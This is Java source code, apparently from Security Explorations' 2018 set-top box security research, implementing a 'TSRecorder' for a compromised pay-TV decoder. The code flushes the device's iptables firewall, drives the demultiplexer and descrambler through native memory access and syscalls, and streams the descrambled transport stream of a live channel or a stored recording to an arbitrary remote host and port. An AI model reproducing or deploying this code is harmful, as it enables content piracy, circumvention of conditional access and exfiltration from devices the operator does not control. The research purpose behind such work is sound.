/*## (c) SECURITY EXPLORATIONS    2018 poland                                #*/
/*##     http://www.security-explorations.com                                #*/

/* THIS SOFTWARE IS PROTECTED BY DOMESTIC AND INTERNATIONAL COPYRIGHT LAWS    */
/* UNAUTHORISED COPYING OF THIS SOFTWARE IN EITHER SOURCE OR BINARY FORM IS   */
/* EXPRESSLY FORBIDDEN. ANY USE, INCLUDING THE REPRODUCTION, MODIFICATION,    */
/* DISTRIBUTION, TRANSMISSION, RE-PUBLICATION, STORAGE OR DISPLAY OF ANY      */
/* PART OF THE SOFTWARE, FOR COMMERCIAL OR ANY OTHER PURPOSES REQUIRES A      */
/* VALID LICENSE FROM THE COPYRIGHT HOLDER.                                   */

/* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS    */
/* OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,*/
/* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL    */
/* SECURITY EXPLORATIONS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, */
/* WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF  */
/* OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE     */
/* SOFTWARE.                                                                  */

import java.lang.*;
import java.util.*;
import java.net.*;
import java.io.*;
import java.lang.reflect.*;
import javax.tv.service.*;
import javax.tv.locator.*;
import org.davic.net.dvb.*;
import org.ocap.shared.dvr.*;

public class TSRecorder {
 public static class TTask extends TimerTask {
  public void run() {
   try {
    TSRecorder.stop();
   } catch(Throwable t) {
    ApiMonitor.log("timer exc: "+t);    
   }
  }
 }

 public static class Worker implements DaemonThread.Code {
  private static boolean collecting;

  public void collect_data() {
   int dmxbuf=NativeCode.getInstance().malloc(0x0c);

   int read_pos=0;
   int write_pos=0;
   boolean first=true;

   collecting=true;

   while(collecting) {
    int result=DmxApi.dmx_channel_ts_Collect(dmx_fd,dmxbuf);

    if (result!=0) continue;

    int kaddr=Memory.read_dword(dmxbuf);
    int size=Memory.read_dword(dmxbuf+4);

    if (size==0) continue;

    int pos=kaddr-dmx_bufaddr;

    if (first) {
     read_pos=pos;
     write_pos=pos+size;
     first=false;
    } else {
     write_pos=pos+size;
    }
 
    if (read_pos<write_pos) {
     write_fully(sck_fd,udmx_bufaddr+read_pos,write_pos-read_pos);
    } else {
     write_fully(sck_fd,udmx_bufaddr+read_pos,dmx_bufsize-read_pos);
     write_fully(sck_fd,udmx_bufaddr,write_pos);
    } 

    read_pos=write_pos;
   }

   NativeCode.getInstance().free(dmxbuf);

   synchronized(syncobj) {
    syncobj.notify();
   }
  }

  public void run(Object args[]) {
   try {
    Thread curthread=Thread.currentThread();
    curthread.setPriority(10);

    collect_data();
   } catch(Throwable t) {
    ApiMonitor.log("TSRecorder::run exception: "+t);
   }
  }

  public static void start() {
   try {
    Worker w=new Worker();
    DaemonThread.start(w,null);    
   } catch(Throwable t) {
    ApiMonitor.log("TSRecorder::start exception: "+t);
   }
  }

  public static void stop() {
   collecting=false;

   ApiMonitor.log("worker stop");
  }
 }

 private static Vector pids;

 private static boolean running;
 private static Object syncobj;

 private static int dmx_fd;
 private static int dmx_bufaddr;
 private static int dmx_bufsize;

 private static int udmx_bufaddr;

 private static OutputStream ts_output;
 private static int sck_fd;

 static {
  pids=new Vector();
  syncobj=new Object();
 }

 private static int get_sck_fd(Socket sck) {
  int sckfd=-1;

  try {
   Class c=Class.forName("java.net.Socket");
   Field f=c.getDeclaredField("impl");
   f.setAccessible(true);

   SocketImpl impl=(SocketImpl)f.get(sck);

   c=Class.forName("java.net.SocketImpl");
   f=c.getDeclaredField("fd");
   f.setAccessible(true);

   FileDescriptor fd=(FileDescriptor)f.get(impl);

   ApiMonitor.log("fd "+fd);

   c=Class.forName("java.io.FileDescriptor");
   f=c.getDeclaredField("fd");
   f.setAccessible(true);

   sckfd=((Integer)f.get(fd)).intValue();
  } catch(Throwable t) {}

  return sckfd;
 }

 private static boolean is_av_stream(int type) {
  boolean res=false;

  switch(type) {
   case 0x01:
   case 0x02:
   case 0x03:
   case 0x04:
   case 0x06:
   case 0x1b:
    res=true;
    break;
  }

  return res;
 }

 private static void add_pid(int fd,int pid) {
  int res=DmxApi.dmx_channel_ts_PidAdd(fd,pid);

  ApiMonitor.log("dmx_channel_ts_PidAdd "+Utils.hex_value(res,8)+" pid "+Utils.hex_value(pid,4));

  pids.addElement(new Integer(pid));
 }

 private static void write_fully(int fd,int buf,int size) {
  int pos=0;

  while(size>0) {
   int cnt=Syscall.write(fd,buf+pos,size);

   if (cnt>0) {
    pos+=cnt;
    size-=cnt;
   }
  }
 }

 private static int start_internal(int dmx_id,Service srv,int secs,String host,int port) {
  try {
   IPTables.flush();

   ApiMonitor.log("start_internal "+host+":"+port);

   int svid=SrvUtils.get_svid(srv);
   ApiMonitor.log("svid "+Utils.hex_value(svid,4));

   MPEG.ESInfo streams[]=MPEG.get_svid_streams(svid);
   ApiMonitor.log("streams "+streams);

   int pat_pid=MPEGDefs.PAT_PID;
   int pmt_pid=MPEG.get_PMT_pid(svid);
   ApiMonitor.log("pmt_pid "+Utils.hex_value(pmt_pid,4));

   dmx_fd=DmxApi.dmx_open(dmx_id);
   ApiMonitor.log("dmx_fd "+Utils.hex_value(dmx_fd,8));

   if (dmx_fd<0) return TSRecorderDefs.INVALID_DEMUX;

   int res=DmxApi.dmx_channel_ts_SetFilter(dmx_fd,TSRecorderDefs.BUFSIZE);
   ApiMonitor.log("dmx_channel_ts_SetFilter "+Utils.hex_value(res,8));

   if (res<0) return TSRecorderDefs.INVALID_DEMUX;

   int buf=NativeCode.getInstance().malloc(0x10);
   res=DmxApi.dmx_channel_GetHwBufferInfo(dmx_fd,buf);
   ApiMonitor.log("dmx_channel_GetHwBufferInfo "+Utils.hex_value(res,8));

   if (res!=0) return TSRecorderDefs.INVALID_DEMUX;

   dmx_bufaddr=Memory.read_dword(buf);
   dmx_bufsize=Memory.read_dword(buf+4);

   NativeCode.getInstance().free(buf);
   ApiMonitor.log("dmx_bufaddr "+Utils.hex_value(dmx_bufaddr,8)+" dmx_bufsize "+Utils.hex_value(dmx_bufsize,8));

   res=DmxApi.dmx_channel_Start(dmx_fd);
   ApiMonitor.log("dmx_channel_Start "+Utils.hex_value(res,8));

   if (res!=0) return TSRecorderDefs.INVALID_DEMUX;

   udmx_bufaddr=DmxApi.dmx_channel_ts_Mmap(dmx_fd,dmx_bufaddr,dmx_bufsize);
   ApiMonitor.log("mmap "+Utils.hex_value(udmx_bufaddr,8));
   ApiMonitor.log("MPEGBuilder.get_pat");

   byte pat[]=MPEGBuilder.get_pat();

   ApiMonitor.log("MPEGBuilder.get_pmt");
   byte pmt[]=MPEGBuilder.get_pmt(svid);

   add_pid(dmx_fd,pat_pid);
   add_pid(dmx_fd,pmt_pid);

   for(int i=0;i<streams.length;i++) {
    if (is_av_stream(streams[i].type())) {
     int pid=streams[i].pid();

     add_pid(dmx_fd,pid);
    }
   }

   DmxApi.setup_descrambler(dmx_fd);

   Socket sck=new Socket(host,port);
   sck.setSoTimeout(0);

   OutputStream os=sck.getOutputStream();

   ts_output=os;

   ts_output.write(pat);
   ts_output.write(pmt);

   ts_output.flush();

   sck_fd=get_sck_fd(sck);

   Worker.start();

   if (secs>0) {
    Timer timer=new Timer();
    long time=(long)secs*1000L;
    timer.schedule(new TTask(),time); 

    ApiMonitor.log("timer scheduled");
   }

  } catch(Throwable t) {
   ApiMonitor.log("start_internal "+t);
  }

  return TSRecorderDefs.RES_OK;
 }

 public static int start(int dmx_id,int channel,int secs,String host,int port) {
  int res=TSRecorderDefs.RES_OK;

  try {
   if (running) return TSRecorderDefs.ALREADY_STARTED;

   if (dmx_id>DmxApi.DVB_DEMUX_SOURCE_DVR0) return TSRecorderDefs.INVALID_DEMUX;

   if (dmx_id<0) dmx_id=DmxApi.DVB_DEMUX_SOURCE_FRONT0;
   ApiMonitor.log("dmx_id "+dmx_id);

   Service srv=null;

   if (channel!=-1) {
    srv=SrvUtils.srv_by_channel(channel);
   } else {
    srv=SrvUtils.current_service();
   }

   ApiMonitor.log("srv "+srv);

   if (srv==null) return TSRecorderDefs.UNKNOWN_CHANNEL;

   if (srv!=SrvUtils.current_service()) {
    if (Config.isCARBO()||(SysInfo.hwid==SysInfoDefs.ITI5800SX)) {
     if (!SrvUtils.select(srv)) return TSRecorderDefs.UNKNOWN_CHANNEL;
      ApiMonitor.log("srv selected");
    }
   }

   start_internal(dmx_id,srv,secs,host,port);

   running=true;
  } catch(Throwable t) {
   ApiMonitor.log("start "+t);
  }

  return res;
 }

 public static void stop() {
  if (!running) return;

  Worker.stop();

  synchronized(syncobj) {
   try {
    syncobj.wait();
   } catch(Throwable t) {}
  }

  ApiMonitor.log("recorder stop ");
 
  for(int i=0;i<pids.size();i++) {
   int pid=((Integer)pids.elementAt(i)).intValue();
   DmxApi.dmx_channel_ts_PidClear(dmx_fd,pid);
  }

  try {
   DmxApi.dmx_channel_Stop(dmx_fd);
   DmxApi.dmx_channel_ts_Munmap(dmx_fd,udmx_bufaddr,dmx_bufsize);
   DmxApi.dmx_close(dmx_fd);

   ts_output.close();

   running=false;

   ApiMonitor.log("stop OK");  
  } catch(Throwable t) {
   ApiMonitor.log("exception: "+t);
   running=false;
  }

  ApiMonitor.log("recorder stop OK");
 }

 private static int vod_start_internal(int dmx_id,int recid,int secs,String host,int port) {
  try {
   ApiMonitor.log("start_internal "+host+":"+port);
   ApiMonitor.log("recid "+Utils.hex_value(recid,8));

   ApiMonitor.log("MPEGBuilder.get_vod_pmt");
   byte pmt[]=VOD.get_pmt(recid);
   ApiMonitor.log("pmt "+pmt);

   MPEG.ESInfo streams[]=MPEG.get_pmt_streams(pmt);
   ApiMonitor.log("streams "+streams);

   dmx_fd=DmxApi.dmx_open(dmx_id);
   ApiMonitor.log("dmx_fd "+Utils.hex_value(dmx_fd,8));

   if (dmx_fd<0) return TSRecorderDefs.INVALID_DEMUX;

   int res=DmxApi.dmx_channel_ts_SetFilter(dmx_fd,TSRecorderDefs.BUFSIZE);
   ApiMonitor.log("dmx_channel_ts_SetFilter "+Utils.hex_value(res,8));

   if (res<0) return TSRecorderDefs.INVALID_DEMUX;

   int buf=NativeCode.getInstance().malloc(0x10);
   res=DmxApi.dmx_channel_GetHwBufferInfo(dmx_fd,buf);
   ApiMonitor.log("dmx_channel_GetHwBufferInfo "+Utils.hex_value(res,8));

   if (res!=0) return TSRecorderDefs.INVALID_DEMUX;

   dmx_bufaddr=Memory.read_dword(buf);
   dmx_bufsize=Memory.read_dword(buf+4);

   NativeCode.getInstance().free(buf);
   ApiMonitor.log("dmx_bufaddr "+Utils.hex_value(dmx_bufaddr,8)+" dmx_bufsize "+Utils.hex_value(dmx_bufsize,8));

   res=DmxApi.dmx_channel_Start(dmx_fd);
   ApiMonitor.log("dmx_channel_Start "+Utils.hex_value(res,8));

   if (res!=0) return TSRecorderDefs.INVALID_DEMUX;

   udmx_bufaddr=DmxApi.dmx_channel_ts_Mmap(dmx_fd,dmx_bufaddr,dmx_bufsize);
   ApiMonitor.log("mmap "+Utils.hex_value(udmx_bufaddr,8));
   ApiMonitor.log("MPEGBuilder.create_vod_pat_pmt");

   byte patpmt[]=MPEGBuilder.create_vod_pat_pmt(recid);

   for(int i=0;i<streams.length;i++) {
    int pid=streams[i].pid();
    add_pid(dmx_fd,pid);
   }

   Socket sck=new Socket(host,port);
   sck.setSoTimeout(0);

   OutputStream os=sck.getOutputStream();

   ts_output=os;

   ts_output.write(patpmt);

   ts_output.flush();

   sck_fd=get_sck_fd(sck);

   Worker.start();

   if (secs>0) {
    Timer timer=new Timer();
    long time=(long)secs*1000L;
    timer.schedule(new TTask(),time); 

    ApiMonitor.log("timer scheduled");
   }

  } catch(Throwable t) {
   ApiMonitor.log_stacktrace(t);
  }

  return TSRecorderDefs.RES_OK;
 }

 public static int vod_start(int dmx_id,int recid,int secs,String host,int port) {
  int res=TSRecorderDefs.RES_OK;

  try {
   if (running) return TSRecorderDefs.ALREADY_STARTED;

   if (dmx_id>DmxApi.DVB_DEMUX_SOURCE_DVR0) return TSRecorderDefs.INVALID_DEMUX;

   if (dmx_id<0) dmx_id=DmxApi.DVB_DEMUX_SOURCE_FRONT0;
   ApiMonitor.log("dmx_id "+dmx_id);

   RecordingRequest rr=RecMan.find_recording(recid);

   if (rr==null) return TSRecorderDefs.UNKNOWN_RECID;

   RecMan.start_playing(rr);

   ApiMonitor.log("playing recording");

   vod_start_internal(dmx_id,recid,secs,host,port);
   running=true;
  } catch(Throwable t) {
   ApiMonitor.log("start "+t);
  }

  return res;
 }

 public static void vod_stop() {
  ApiMonitor.log("vod stop");  
  stop();
  ApiMonitor.log("vod stop OK");  
 }
}
